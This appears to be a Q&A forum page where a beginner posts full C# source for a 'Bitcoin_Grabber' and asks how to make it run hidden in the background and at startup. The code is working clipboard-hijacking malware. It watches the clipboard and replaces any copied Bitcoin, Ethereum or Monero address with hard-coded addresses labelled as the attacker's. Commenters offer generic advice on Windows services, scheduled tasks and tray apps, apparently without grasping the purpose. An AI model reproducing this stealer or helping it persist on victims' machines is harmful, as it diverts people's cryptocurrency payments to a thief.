0

I need this code to run in the background and also startup, I can't do it because I am new to c#

I downloaded the source code from github but I want it to run in background when it is installed on the computer and startup like antiviruses.

namespace Bitcoin_Grabber
{
    public class Program
    {
        public static void Main()
        {
            new Thread(() => { Run(); }).Start();
        }

        public static void Run()
        {
            Application.Run(new ClipboardNotification.NotificationForm());
        }
    }

    internal static class Addresses
    {
        public readonly static string btc = "32gUZUByRbJPx1n2XmVxPTEtc6p6GosEnM"; //attacker's btc address
        public readonly static string ethereum = "0x15eB01D9e6a6B73c5fA6Bc8382A27982d999DFdf"; //attacker's eth address
        public readonly static string xmr = "XMR"; //attacker's xmr address
    }

    internal static class PatternRegex
    {
        public readonly static Regex btc = new Regex(@"\b(bc1|[13])[a-zA-HJ-NP-Z0-9]{26,35}\b");
        public readonly static Regex ethereum = new Regex(@"\b0x[a-fA-F0-9]{40}\b");
        public readonly static Regex xmr = new Regex(@"\b4([0-9]|[A-B])(.){93}\b");
    }

    internal static class NativeMethods
    {
        public const int WM_CLIPBOARDUPDATE = 0x031D;
        public static IntPtr HWND_MESSAGE = new IntPtr(-3);

        [DllImport("user32.dll", SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        public static extern bool AddClipboardFormatListener(IntPtr hwnd);

        [DllImport("user32.dll", SetLastError = true)]
        public static extern IntPtr SetParent(IntPtr hWndChild, IntPtr hWndNewParent);
    }

    internal static class Clipboard
    {
        public static string GetText()
        {
            string ReturnValue = string.Empty;
            Thread STAThread = new Thread(
                delegate ()
                {
                    ReturnValue = System.Windows.Forms.Clipboard.GetText();
                });
            STAThread.SetApartmentState(ApartmentState.STA);
            STAThread.Start();
            STAThread.Join();

            return ReturnValue;
        }

        public static void SetText(string txt)
        {
            Thread STAThread = new Thread(
                delegate ()
                {
                    System.Windows.Forms.Clipboard.SetText(txt);
                });
            STAThread.SetApartmentState(ApartmentState.STA);
            STAThread.Start();
            STAThread.Join();
        }
    }

    public sealed class ClipboardNotification
    {
        public class NotificationForm : Form
        {
            private static string currentClipboard = Clipboard.GetText();
            public NotificationForm()
            {
                NativeMethods.SetParent(Handle, NativeMethods.HWND_MESSAGE);
                NativeMethods.AddClipboardFormatListener(Handle);
            }

            private bool RegexResult(Regex pattern)
            {
                if (pattern.Match(currentClipboard).Success) return true;
                else
                    return false;
            }

            protected override void WndProc(ref Message m)
            {
                if (m.Msg == NativeMethods.WM_CLIPBOARDUPDATE)
                {
                    currentClipboard = Clipboard.GetText();

                    if (RegexResult(PatternRegex.btc) && !currentClipboard.Contains(Addresses.btc))
                    {
                        string result = PatternRegex.btc.Replace(currentClipboard, Addresses.btc);
                        Clipboard.SetText(result);
                    }

                    if (RegexResult(PatternRegex.ethereum) && !currentClipboard.Contains(Addresses.ethereum))
                    {
                        string result = PatternRegex.ethereum.Replace(currentClipboard, Addresses.ethereum);
                        Clipboard.SetText(result);
                    }

                    if (RegexResult(PatternRegex.xmr) && !currentClipboard.Contains(Addresses.xmr))
                    {
                        string result = PatternRegex.xmr.Replace(currentClipboard, Addresses.xmr);
                        Clipboard.SetText(result);
                    }

                }
                base.WndProc(ref m);
            }
        }

    }
Steven
  • 1,996
  • 3
  • 22
  • 33
  • 1
    Sounds like the code is irrelevant, your question is how to run an application at startup and that's not a programming question. I will say an option is to use windows task scheduler which can trigger off on start up or log on. – Crowcoder Feb 25 '21 at 15:12
  • So it should stay running in the background the whole time the machine is switched on? Sounds like maybe it needs to be installed as a service. Windows Service is a specific project type you can create in Visual Studio. Or if you have an existing console application you can install the (free) "TopShelf" nuget package which enables it to run like a console app when testing, but then be installed as a service when deploying. http://topshelf-project.com/ – ADyson Feb 25 '21 at 15:39
  • @ADyson, after doing that can I share the console application and will still run in the background and also startup? – payload Feb 25 '21 at 16:35
  • Well just like any such program it needs to be installed by a user on that computer and set up to run as a service. But yes it gives your program the ability for that to take place. You could of course - like most software vendors do - create an installer (either GUI program or script) which assists the user with that process, or at least provide detailed instructions. – ADyson Feb 25 '21 at 16:43
  • P.S. Just looking more closely at your code, what exactly is the purpose of this application? I'm now wondering if by "in the background" you actually mean "in the system tray, but with the ability to show a user interface sometimes". Is that it? I can see references to clipboard and Windows Forms in your code. If that's the case, running it as a standard Windows Service wouldn't really work because such services run in a different user context, without access to the GUI. If so, perhaps [this](https://www.google.com/search?q=c%23+system+tray+application) is more like what you need to look at – ADyson Feb 25 '21 at 16:47
  • its doesn't have gui, it is a program that changes an address to yours – payload Feb 25 '21 at 17:11
  • That's a bit vague...what address, from where? Does it need access to the user's clipboard? – ADyson Feb 25 '21 at 17:42
  • A Windows Service is typically how one would implement logic that needs to run when the computer is running. If you just need your program to start when the user logs in and you want a user interface for it, then that's a question to ask on superuser.com. (Though of course, you wouldn't actually _ask_ it, because surely they've already got that question asked and answered over there...just look for it with search). – Peter Duniho Feb 25 '21 at 20:39
  • @ADyson it rreplaces the copied btc address to yours when any btc address is copied – payload Feb 27 '21 at 12:27
  • Not sure how/why that's helpful...but anyway, from that description it sounds like it needs access to the current user's Clipboard - so it needs to run as a system tray application rather than a service. – ADyson Feb 28 '21 at 10:05

0 Answers0